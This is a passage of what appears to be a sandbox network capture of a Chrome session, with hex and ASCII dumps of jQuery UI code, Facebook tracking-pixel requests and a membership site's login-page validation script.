2024-04-23 14:53:59 UTC	1369	IN	Data Raw: 3d 3d 3d 72 3f 28 6e 3d 74 2e 70 61 72 65 6e 74 4e 6f 64 65 2c 61 3d 6e 2e 6e 61 6d 65 2c 74 2e 68 72 65 66 26 26 61 26 26 22 6d 61 70 22 3d 3d 3d 6e 2e 6e 6f 64 65 4e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3f 28 6f 3d 65 28 22 69 6d 67 5b 75 73 65 6d 61 70 3d 27 23 22 2b 61 2b 22 27 5d 22 29 5b 30 5d 2c 21 21 6f 26 26 69 28 6f 29 29 3a 21 31 29 3a 28 2f 5e 28 69 6e 70 75 74 7c 73 65 6c 65 63 74 7c 74 65 78 74 61 72 65 61 7c 62 75 74 74 6f 6e 7c 6f 62 6a 65 63 74 29 24 2f 2e 74 65 73 74 28 72 29 3f 21 74 2e 64 69 73 61 62 6c 65 64 3a 22 61 22 3d 3d 3d 72 3f 74 2e 68 72 65 66 7c 7c 73 3a 73 29 26 26 69 28 74 29 7d 66 75 6e 63 74 69 6f 6e 20 69 28 74 29 7b 72 65 74 75 72 6e 20 65 2e 65 78 70 72 2e 66 69 6c 74 65 72 73 2e 76 69 73 69 62 6c 65 28 Data Ascii: ===r?(n=t.parentNode,a=n.name,t.href&&a&&"map"===n.nodeName.toLowerCase()?(o=e("img[usemap='#"+a+"']")[0],!!o&&i(o)):!1):(/^(input\|select\|textarea\|button\|object)$/.test(r)?!t.disabled:"a"===r?t.href\|\|s:s)&&i(t)}function i(t){return e.expr.filters.visible(
2024-04-23 14:53:59 UTC	1369	IN	Data Raw: 65 70 22 2c 22 4f 63 74 22 2c 22 4e 6f 76 22 2c 22 44 65 63 22 5d 2c 64 61 79 4e 61 6d 65 73 3a 5b 22 53 75 6e 64 61 79 22 2c 22 4d 6f 6e 64 61 79 22 2c 22 54 75 65 73 64 61 79 22 2c 22 57 65 64 6e 65 73 64 61 79 22 2c 22 54 68 75 72 73 64 61 79 22 2c 22 46 72 69 64 61 79 22 2c 22 53 61 74 75 72 64 61 79 22 5d 2c 64 61 79 4e 61 6d 65 73 53 68 6f 72 74 3a 5b 22 53 75 6e 22 2c 22 4d 6f 6e 22 2c 22 54 75 65 22 2c 22 57 65 64 22 2c 22 54 68 75 22 2c 22 46 72 69 22 2c 22 53 61 74 22 5d 2c 64 61 79 4e 61 6d 65 73 4d 69 6e 3a 5b 22 53 75 22 2c 22 4d 6f 22 2c 22 54 75 22 2c 22 57 65 22 2c 22 54 68 22 2c 22 46 72 22 2c 22 53 61 22 5d 2c 77 65 65 6b 48 65 61 64 65 72 3a 22 57 6b 22 2c 64 61 74 65 46 6f 72 6d 61 74 3a 22 6d 6d 2f 64 64 2f 79 79 22 2c 66 69 72 73 74 Data Ascii: ep","Oct","Nov","Dec"],dayNames:["Sunday","Monday","Tuesday","Wednesday","Thursday","Friday","Saturday"],dayNamesShort:["Sun","Mon","Tue","Wed","Thu","Fri","Sat"],dayNamesMin:["Su","Mo","Tu","We","Th","Fr","Sa"],weekHeader:"Wk",dateFormat:"mm/dd/yy",first
2024-04-23 14:53:59 UTC	1369	IN	Data Raw: 22 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 65 28 74 68 69 73 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 22 75 69 2d 73 74 61 74 65 2d 68 6f 76 65 72 22 29 2c 2d 31 21 3d 3d 74 68 69 73 2e 63 6c 61 73 73 4e 61 6d 65 2e 69 6e 64 65 78 4f 66 28 22 75 69 2d 64 61 74 65 70 69 63 6b 65 72 2d 70 72 65 76 22 29 26 26 65 28 74 68 69 73 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 22 75 69 2d 64 61 74 65 70 69 63 6b 65 72 2d 70 72 65 76 2d 68 6f 76 65 72 22 29 2c 2d 31 21 3d 3d 74 68 69 73 2e 63 6c 61 73 73 4e 61 6d 65 2e 69 6e 64 65 78 4f 66 28 22 75 69 2d 64 61 74 65 70 69 63 6b 65 72 2d 6e 65 78 74 22 29 26 26 65 28 74 68 69 73 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 22 75 69 2d 64 61 74 65 70 69 63 6b 65 72 2d 6e 65 78 74 2d 68 6f 76 65 72 22 29 7d 29 2e 64 65 6c 65 Data Ascii: ",function(){e(this).removeClass("ui-state-hover"),-1!==this.className.indexOf("ui-datepicker-prev")&&e(this).removeClass("ui-datepicker-prev-hover"),-1!==this.className.indexOf("ui-datepicker-next")&&e(this).removeClass("ui-datepicker-next-hover")}).dele
2024-04-23 14:53:59 UTC	1369	IN	Data Raw: 22 6f 76 65 72 66 6c 6f 77 2d 78 22 29 29 7d 29 2e 65 71 28 30 29 3b 72 65 74 75 72 6e 22 66 69 78 65 64 22 21 3d 3d 69 26 26 61 2e 6c 65 6e 67 74 68 3f 61 3a 65 28 74 68 69 73 5b 30 5d 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 64 6f 63 75 6d 65 6e 74 29 7d 2c 75 6e 69 71 75 65 49 64 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 30 3b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 69 64 7c 7c 28 74 68 69 73 2e 69 64 3d 22 75 69 2d 69 64 2d 22 2b 20 2b 2b 65 29 7d 29 7d 7d 28 29 2c 72 65 6d 6f 76 65 55 6e 69 71 75 65 49 64 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 29 Data Ascii: "overflow-x"))}).eq(0);return"fixed"!==i&&a.length?a:e(this[0].ownerDocument\|\|document)},uniqueId:function(){var e=0;return function(){return this.each(function(){this.id\|\|(this.id="ui-id-"+ ++e)})}}(),removeUniqueId:function(){return this.each(function()
2024-04-23 14:53:59 UTC	1369	IN	Data Raw: 6b 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 61 64 64 28 6e 75 6c 6c 3d 3d 65 3f 74 68 69 73 2e 70 72 65 76 4f 62 6a 65 63 74 3a 74 68 69 73 2e 70 72 65 76 4f 62 6a 65 63 74 2e 66 69 6c 74 65 72 28 65 29 29 7d 29 2c 65 28 22 3c 61 3e 22 29 2e 64 61 74 61 28 22 61 2d 62 22 2c 22 61 22 29 2e 72 65 6d 6f 76 65 44 61 74 61 28 22 61 2d 62 22 29 2e 64 61 74 61 28 22 61 2d 62 22 29 26 26 28 65 2e 66 6e 2e 72 65 6d 6f 76 65 44 61 74 61 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 69 29 7b 72 65 74 75 72 6e 20 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3f 74 2e 63 61 6c 6c 28 74 68 69 73 2c 65 2e 63 61 6d 65 6c 43 61 73 65 28 69 29 29 3a 74 2e 63 61 6c 6c 28 74 68 69 73 29 7d 7d 28 65 Data Ascii: k=function(e){return this.add(null==e?this.prevObject:this.prevObject.filter(e))}),e("<a>").data("a-b","a").removeData("a-b").data("a-b")&&(e.fn.removeData=function(t){return function(i){return arguments.length?t.call(this,e.camelCase(i)):t.call(this)}}(e
2024-04-23 14:53:59 UTC	1369	IN	Data Raw: 70 74 69 6f 6e 73 5b 61 5b 6e 5d 5b 30 5d 5d 26 26 61 5b 6e 5d 5b 31 5d 2e 61 70 70 6c 79 28 65 2e 65 6c 65 6d 65 6e 74 2c 69 29 7d 7d 3b 76 61 72 20 6c 3d 30 2c 75 3d 41 72 72 61 79 2e 70 72 6f 74 6f 74 79 70 65 2e 73 6c 69 63 65 3b 65 2e 63 6c 65 61 6e 44 61 74 61 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 69 29 7b 76 61 72 20 73 2c 6e 2c 61 3b 66 6f 72 28 61 3d 30 3b 6e 75 6c 6c 21 3d 28 6e 3d 69 5b 61 5d 29 3b 61 2b 2b 29 74 72 79 7b 73 3d 65 2e 5f 64 61 74 61 28 6e 2c 22 65 76 65 6e 74 73 22 29 2c 73 26 26 73 2e 72 65 6d 6f 76 65 26 26 65 28 6e 29 2e 74 72 69 67 67 65 72 48 61 6e 64 6c 65 72 28 22 72 65 6d 6f 76 65 22 29 7d 63 61 74 63 68 28 6f 29 7b 7d 74 28 69 29 7d 7d 28 65 2e 63 6c 65 61 6e 44 61 74 61 Data Ascii: ptions[a[n][0]]&&a[n][1].apply(e.element,i)}};var l=0,u=Array.prototype.slice;e.cleanData=function(t){return function(i){var s,n,a;for(a=0;null!=(n=i[a]);a++)try{s=e._data(n,"events"),s&&s.remove&&e(n).triggerHandler("remove")}catch(o){}t(i)}}(e.cleanData
2024-04-23 14:53:59 UTC	1369	IN	Data Raw: 6f 29 2c 65 2e 77 69 64 67 65 74 2e 62 72 69 64 67 65 28 74 2c 6f 29 2c 6f 7d 2c 65 2e 77 69 64 67 65 74 2e 65 78 74 65 6e 64 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 66 6f 72 28 76 61 72 20 69 2c 73 2c 6e 3d 75 2e 63 61 6c 6c 28 61 72 67 75 6d 65 6e 74 73 2c 31 29 2c 61 3d 30 2c 6f 3d 6e 2e 6c 65 6e 67 74 68 3b 6f 3e 61 3b 61 2b 2b 29 66 6f 72 28 69 20 69 6e 20 6e 5b 61 5d 29 73 3d 6e 5b 61 5d 5b 69 5d 2c 6e 5b 61 5d 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 28 69 29 26 26 76 6f 69 64 20 30 21 3d 3d 73 26 26 28 74 5b 69 5d 3d 65 2e 69 73 50 6c 61 69 6e 4f 62 6a 65 63 74 28 73 29 3f 65 2e 69 73 50 6c 61 69 6e 4f 62 6a 65 63 74 28 74 5b 69 5d 29 3f 65 2e 77 69 64 67 65 74 2e 65 78 74 65 6e 64 28 7b 7d 2c 74 5b 69 5d 2c 73 29 3a 65 2e 77 69 64 67 65 74 2e Data Ascii: o),e.widget.bridge(t,o),o},e.widget.extend=function(t){for(var i,s,n=u.call(arguments,1),a=0,o=n.length;o>a;a++)for(i in n[a])s=n[a][i],n[a].hasOwnProperty(i)&&void 0!==s&&(t[i]=e.isPlainObject(s)?e.isPlainObject(t[i])?e.widget.extend({},t[i],s):e.widget.
2024-04-23 14:53:59 UTC	1369	IN	Data Raw: 64 67 65 74 46 75 6c 6c 4e 61 6d 65 2c 74 68 69 73 29 2c 74 68 69 73 2e 5f 6f 6e 28 21 30 2c 74 68 69 73 2e 65 6c 65 6d 65 6e 74 2c 7b 72 65 6d 6f 76 65 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 74 61 72 67 65 74 3d 3d 3d 69 26 26 74 68 69 73 2e 64 65 73 74 72 6f 79 28 29 7d 7d 29 2c 74 68 69 73 2e 64 6f 63 75 6d 65 6e 74 3d 65 28 69 2e 73 74 79 6c 65 3f 69 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 3a 69 2e 64 6f 63 75 6d 65 6e 74 7c 7c 69 29 2c 74 68 69 73 2e 77 69 6e 64 6f 77 3d 65 28 74 68 69 73 2e 64 6f 63 75 6d 65 6e 74 5b 30 5d 2e 64 65 66 61 75 6c 74 56 69 65 77 7c 7c 74 68 69 73 2e 64 6f 63 75 6d 65 6e 74 5b 30 5d 2e 70 61 72 65 6e 74 57 69 6e 64 6f 77 29 29 2c 74 68 69 73 2e 6f 70 74 69 6f 6e 73 3d 65 2e 77 69 64 67 65 74 2e 65 78 74 65 6e 64 Data Ascii: dgetFullName,this),this._on(!0,this.element,{remove:function(e){e.target===i&&this.destroy()}}),this.document=e(i.style?i.ownerDocument:i.document\|\|i),this.window=e(this.document[0].defaultView\|\|this.document[0].parentWindow)),this.options=e.widget.extend
2024-04-23 14:53:59 UTC	1369	IN	Data Raw: 74 75 72 6e 20 74 68 69 73 2e 5f 73 65 74 4f 70 74 69 6f 6e 73 28 6f 29 2c 74 68 69 73 7d 2c 5f 73 65 74 4f 70 74 69 6f 6e 73 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3b 66 6f 72 28 74 20 69 6e 20 65 29 74 68 69 73 2e 5f 73 65 74 4f 70 74 69 6f 6e 28 74 2c 65 5b 74 5d 29 3b 72 65 74 75 72 6e 20 74 68 69 73 7d 2c 5f 73 65 74 4f 70 74 69 6f 6e 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 6f 70 74 69 6f 6e 73 5b 65 5d 3d 74 2c 22 64 69 73 61 62 6c 65 64 22 3d 3d 3d 65 26 26 28 74 68 69 73 2e 77 69 64 67 65 74 28 29 2e 74 6f 67 67 6c 65 43 6c 61 73 73 28 74 68 69 73 2e 77 69 64 67 65 74 46 75 6c 6c 4e 61 6d 65 2b 22 2d 64 69 73 61 62 6c 65 64 22 2c 21 21 74 29 2c 74 26 26 28 74 68 69 73 2e 68 6f 76 65 72 61 62 Data Ascii: turn this._setOptions(o),this},_setOptions:function(e){var t;for(t in e)this._setOption(t,e[t]);return this},_setOption:function(e,t){return this.options[e]=t,"disabled"===e&&(this.widget().toggleClass(this.widgetFullName+"-disabled",!!t),t&&(this.hoverab

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
150	192.168.2.6	49901	31.13.88.35	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:53:59 UTC	1122	OUT	GET /tr/?id=688224189896855&ev=ViewContent&dl=https%3A%2F%2Fwww.asphaltroofing.org%2F&rl=&if=false&ts=1713884037981&cd[b_w]=1280&cd[b_h]=907&cd[s_w]=1280&cd[s_h]=1024&cd[loc_url]=https%3A%2F%2Fwww.asphaltroofing.org%2F&cd[ses_id]=6627cb7c5c51a2698cf29ddb&cd[flvr]=page_view&cd[a_id]=603026366fd8bf4e42de107f&cd[debug]=0&cd[bypass_hash]=0&cd[f_id]=6627cb818425280008d4a656&sw=1280&sh=1024&v=2.9.154&r=stable&ec=0&o=4126&fbp=fb.1.1713884037978.840489946&ler=empty&cdl=API_unavailable&it=1713884037112&coo=false&dpo=LDU&dpoco=0&dpost=0&tm=1&rqm=GET HTTP/1.1 Host: www.facebook.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.asphaltroofing.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-23 14:53:59 UTC	465	IN	HTTP/1.1 200 OK Content-Type: text/plain Access-Control-Allow-Origin: Access-Control-Allow-Credentials: true Strict-Transport-Security: max-age=31536000; includeSubDomains cross-origin-resource-policy: cross-origin Server: proxygen-bolt X-FB-Connection-Quality: GOOD; q=0.7, rtt=104, rtx=0, c=10, mss=1277, tbw=3403, tp=-1, tpl=-1, uplat=2, ullat=0 Alt-Svc: h3=":443"; ma=86400 Date: Tue, 23 Apr 2024 14:53:59 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
151	192.168.2.6	49900	31.13.88.35	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:53:59 UTC	1237	OUT	GET /privacy_sandbox/pixel/register/trigger/?id=688224189896855&ev=ViewContent&dl=https%3A%2F%2Fwww.asphaltroofing.org%2F&rl=&if=false&ts=1713884037981&cd[b_w]=1280&cd[b_h]=907&cd[s_w]=1280&cd[s_h]=1024&cd[loc_url]=https%3A%2F%2Fwww.asphaltroofing.org%2F&cd[ses_id]=6627cb7c5c51a2698cf29ddb&cd[flvr]=page_view&cd[a_id]=603026366fd8bf4e42de107f&cd[debug]=0&cd[bypass_hash]=0&cd[f_id]=6627cb818425280008d4a656&sw=1280&sh=1024&v=2.9.154&r=stable&ec=0&o=4126&fbp=fb.1.1713884037978.840489946&ler=empty&cdl=API_unavailable&it=1713884037112&coo=false&dpo=LDU&dpoco=0&dpost=0&tm=1&rqm=FGET HTTP/1.1 Host: www.facebook.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Attribution-Reporting-Eligible: not-navigation-source, trigger, event-source Referer: https://www.asphaltroofing.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-23 14:53:59 UTC	948	IN	HTTP/1.1 200 OK Vary: Accept-Encoding Content-Type: image/png reporting-endpoints: coop_report="https://www.facebook.com/browser_reporting/coop/?minimize=0", coep_report="https://www.facebook.com/browser_reporting/coep/?minimize=0", default="https://www.facebook.com/ajax/browser_error_reports/?device_level=unknown", permissions_policy="https://www.facebook.com/ajax/browser_error_reports/" report-to: {"max_age":2592000,"endpoints":[{"url":"https:\/\/www.facebook.com\/browser_reporting\/coop\/?minimize=0"}],"group":"coop_report","include_subdomains":true}, {"max_age":86400,"endpoints":[{"url":"https:\/\/www.facebook.com\/browser_reporting\/coep\/?minimize=0"}],"group":"coep_report"}, {"max_age":259200,"endpoints":[{"url":"https:\/\/www.facebook.com\/ajax\/browser_error_reports\/?device_level=unknown"}]}, {"max_age":21600,"endpoints":[{"url":"https:\/\/www.facebook.com\/ajax\/browser_error_reports\/"}],"group":"permissions_policy"}
2024-04-23 14:53:59 UTC	1903	IN	Data Raw: 63 6f 6e 74 65 6e 74 2d 73 65 63 75 72 69 74 79 2d 70 6f 6c 69 63 79 3a 20 64 65 66 61 75 6c 74 2d 73 72 63 20 64 61 74 61 3a 20 62 6c 6f 62 3a 20 27 73 65 6c 66 27 20 68 74 74 70 73 3a 2f 2f 2a 2e 66 62 73 62 78 2e 63 6f 6d 20 27 75 6e 73 61 66 65 2d 69 6e 6c 69 6e 65 27 20 2a 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 20 2a 2e 66 62 63 64 6e 2e 6e 65 74 20 27 75 6e 73 61 66 65 2d 65 76 61 6c 27 3b 73 63 72 69 70 74 2d 73 72 63 20 2a 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 20 2a 2e 66 62 63 64 6e 2e 6e 65 74 20 2a 2e 66 61 63 65 62 6f 6f 6b 2e 6e 65 74 20 31 32 37 2e 30 2e 30 2e 31 3a 2a 20 27 75 6e 73 61 66 65 2d 69 6e 6c 69 6e 65 27 20 62 6c 6f 62 3a 20 64 61 74 61 3a 20 27 73 65 6c 66 27 20 63 6f 6e 6e 65 63 74 2e 66 61 63 65 62 6f 6f 6b 2e 6e 65 74 20 27 Data Ascii: content-security-policy: default-src data: blob: 'self' https://.fbsbx.com 'unsafe-inline' .facebook.com .fbcdn.net 'unsafe-eval';script-src .facebook.com .fbcdn.net .facebook.net 127.0.0.1:* 'unsafe-inline' blob: data: 'self' connect.facebook.net '
2024-04-23 14:53:59 UTC	1576	IN	Data Raw: 70 65 72 6d 69 73 73 69 6f 6e 73 2d 70 6f 6c 69 63 79 3a 20 61 63 63 65 6c 65 72 6f 6d 65 74 65 72 3d 28 29 2c 20 61 74 74 72 69 62 75 74 69 6f 6e 2d 72 65 70 6f 72 74 69 6e 67 3d 28 73 65 6c 66 29 2c 20 61 75 74 6f 70 6c 61 79 3d 28 29 2c 20 62 6c 75 65 74 6f 6f 74 68 3d 28 29 2c 20 63 61 6d 65 72 61 3d 28 73 65 6c 66 29 2c 20 63 68 2d 64 65 76 69 63 65 2d 6d 65 6d 6f 72 79 3d 28 29 2c 20 63 68 2d 64 6f 77 6e 6c 69 6e 6b 3d 28 29 2c 20 63 68 2d 64 70 72 3d 28 29 2c 20 63 68 2d 65 63 74 3d 28 29 2c 20 63 68 2d 72 74 74 3d 28 29 2c 20 63 68 2d 73 61 76 65 2d 64 61 74 61 3d 28 29 2c 20 63 68 2d 75 61 2d 61 72 63 68 3d 28 29 2c 20 63 68 2d 75 61 2d 62 69 74 6e 65 73 73 3d 28 29 2c 20 63 68 2d 76 69 65 77 70 6f 72 74 2d 68 65 69 67 68 74 3d 28 29 2c 20 63 68 Data Ascii: permissions-policy: accelerometer=(), attribution-reporting=(self), autoplay=(), bluetooth=(), camera=(self), ch-device-memory=(), ch-downlink=(), ch-dpr=(), ch-ect=(), ch-rtt=(), ch-save-data=(), ch-ua-arch=(), ch-ua-bitness=(), ch-viewport-height=(), ch
2024-04-23 14:53:59 UTC	73	IN	Data Raw: 34 33 0d 0a 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 01 00 00 00 01 08 04 00 00 00 b5 1c 0c 02 00 00 00 0a 49 44 41 54 78 9c 63 00 01 00 00 05 00 01 0d 0a 2d b4 00 00 00 00 49 45 4e 44 ae 42 60 82 0d 0a Data Ascii: 43PNGIHDRIDATxc-IENDB`
2024-04-23 14:53:59 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
152	192.168.2.6	49902	104.17.137.104	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:53:59 UTC	727	OUT	GET /includes/js/jQueryUIDialogInclude.js HTTP/1.1 Host: arma1.memberclicks.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://arma1.memberclicks.net/login Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: serviceID=10085; 0012f0e1bd8c627a4a486a1336b31aa5=tcjqo9csmcshqmt8ctfc1abiq2; Login=1; __cfruid=bfc40cc62fe99c72e425bc9ac2e5a91f8c4e0847-1713884038
2024-04-23 14:54:00 UTC	527	IN	HTTP/1.1 200 OK Date: Tue, 23 Apr 2024 14:54:00 GMT Content-Type: application/javascript Content-Length: 3832 Connection: close referrer-policy: no-referrer-when-downgrade strict-transport-security: max-age=31536000; includeSubDomains; preload last-modified: Thu, 09 Nov 2023 11:29:58 GMT etag: "ef8-609b6860d9980" x-frame-options: sameorigin CF-Cache-Status: MISS Expires: Tue, 23 Apr 2024 15:54:00 GMT Cache-Control: public, max-age=3600 Accept-Ranges: bytes Server: cloudflare CF-RAY: 878eafb29ece677d-ATL
2024-04-23 14:54:00 UTC	842	IN	Data Raw: 76 61 72 20 72 65 57 68 69 74 65 73 70 61 63 65 20 3d 20 2f 5e 5c 73 2b 24 2f 0d 0a 66 75 6e 63 74 69 6f 6e 20 69 73 57 68 69 74 65 73 70 61 63 65 28 20 73 20 29 0d 0a 7b 0d 0a 20 20 20 20 72 65 74 75 72 6e 20 28 69 73 45 6d 70 74 79 28 73 29 20 7c 7c 20 72 65 57 68 69 74 65 73 70 61 63 65 2e 74 65 73 74 28 73 29 29 3b 0d 0a 7d 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 0d 0a 66 75 6e 63 74 69 6f 6e 20 69 73 45 6d 70 74 79 28 20 73 20 29 0d 0a 7b 20 20 20 0d 0a 20 20 20 20 72 65 74 75 72 6e 20 28 20 28 20 73 20 3d 3d 20 6e 75 6c 6c 20 29 20 7c 7c 20 28 20 73 2e 6c 65 6e 67 74 68 20 3d 3d 20 30 20 29 20 29 0d 0a 7d 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 0d 0a 6a 51 75 65 72 79 28 20 66 75 6e 63 74 69 6f 6e 28 29 0d 0a 7b 0d 0a 20 20 20 20 2f 2f 20 65 72 Data Ascii: var reWhitespace = /^\s+$/function isWhitespace( s ){ return (isEmpty(s) \|\| reWhitespace.test(s));} function isEmpty( s ){ return ( ( s == null ) \|\| ( s.length == 0 ) )} jQuery( function(){ // er
2024-04-23 14:54:00 UTC	1369	IN	Data Raw: 75 65 2c 0d 0a 20 20 20 20 20 20 20 20 6f 76 65 72 6c 61 79 3a 0d 0a 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 43 6f 6c 6f 72 3a 20 27 23 30 30 30 27 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 6f 70 61 63 69 74 79 3a 20 30 2e 35 0d 0a 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 62 75 74 74 6f 6e 73 3a 0d 0a 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 4f 4b 3a 20 66 75 6e 63 74 69 6f 6e 28 29 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6a 51 75 65 72 79 28 74 68 69 73 29 2e 64 69 61 6c 6f 67 28 27 63 6c 6f 73 65 27 29 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a Data Ascii: ue, overlay: { backgroundColor: '#000', opacity: 0.5 }, buttons: { OK: function() { jQuery(this).dialog('close'); } }
2024-04-23 14:54:00 UTC	1369	IN	Data Raw: 20 66 75 6e 63 74 69 6f 6e 28 20 73 74 72 20 29 0d 0a 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 76 61 72 20 61 74 20 3d 20 22 40 22 0d 0a 20 20 20 20 20 20 20 20 76 61 72 20 64 6f 74 20 3d 20 22 2e 22 0d 0a 20 20 20 20 20 20 20 20 76 61 72 20 6c 61 74 20 3d 20 73 74 72 2e 69 6e 64 65 78 4f 66 28 61 74 29 0d 0a 20 20 20 20 20 20 20 20 76 61 72 20 6c 73 74 72 20 3d 20 73 74 72 2e 6c 65 6e 67 74 68 0d 0a 20 20 20 20 20 20 20 20 76 61 72 20 6c 64 6f 74 20 3d 20 73 74 72 2e 69 6e 64 65 78 4f 66 28 64 6f 74 29 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 0d 0a 20 20 20 20 20 20 20 20 69 66 28 20 73 74 72 2e 69 6e 64 65 78 4f 66 28 61 74 29 20 3d 3d 20 2d 31 20 29 0d 0a 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 72 65 74 75 72 6e 20 66 Data Ascii: function( str ) { var at = "@" var dot = "." var lat = str.indexOf(at) var lstr = str.length var ldot = str.indexOf(dot) if( str.indexOf(at) == -1 ) { return f
2024-04-23 14:54:00 UTC	252	IN	Data Raw: 51 75 65 72 79 28 20 74 65 78 74 49 64 20 29 2e 74 65 78 74 28 20 74 65 78 74 20 29 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 72 65 74 75 72 6e 20 66 61 6c 73 65 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 65 6c 73 65 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 72 65 74 75 72 6e 20 74 72 75 65 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 65 6c 73 65 0d 0a 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 72 65 74 75 72 6e 20 66 61 6c 73 65 3b 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 7d 3b 0d 0a 7d 0d 0a 29 28 6a 51 75 65 72 79 29 3b 0d 0a Data Ascii: Query( textId ).text( text ); return false; } else { return true; } } else { return false; } };})(jQuery);

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
153	192.168.2.6	49906	104.17.137.104	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
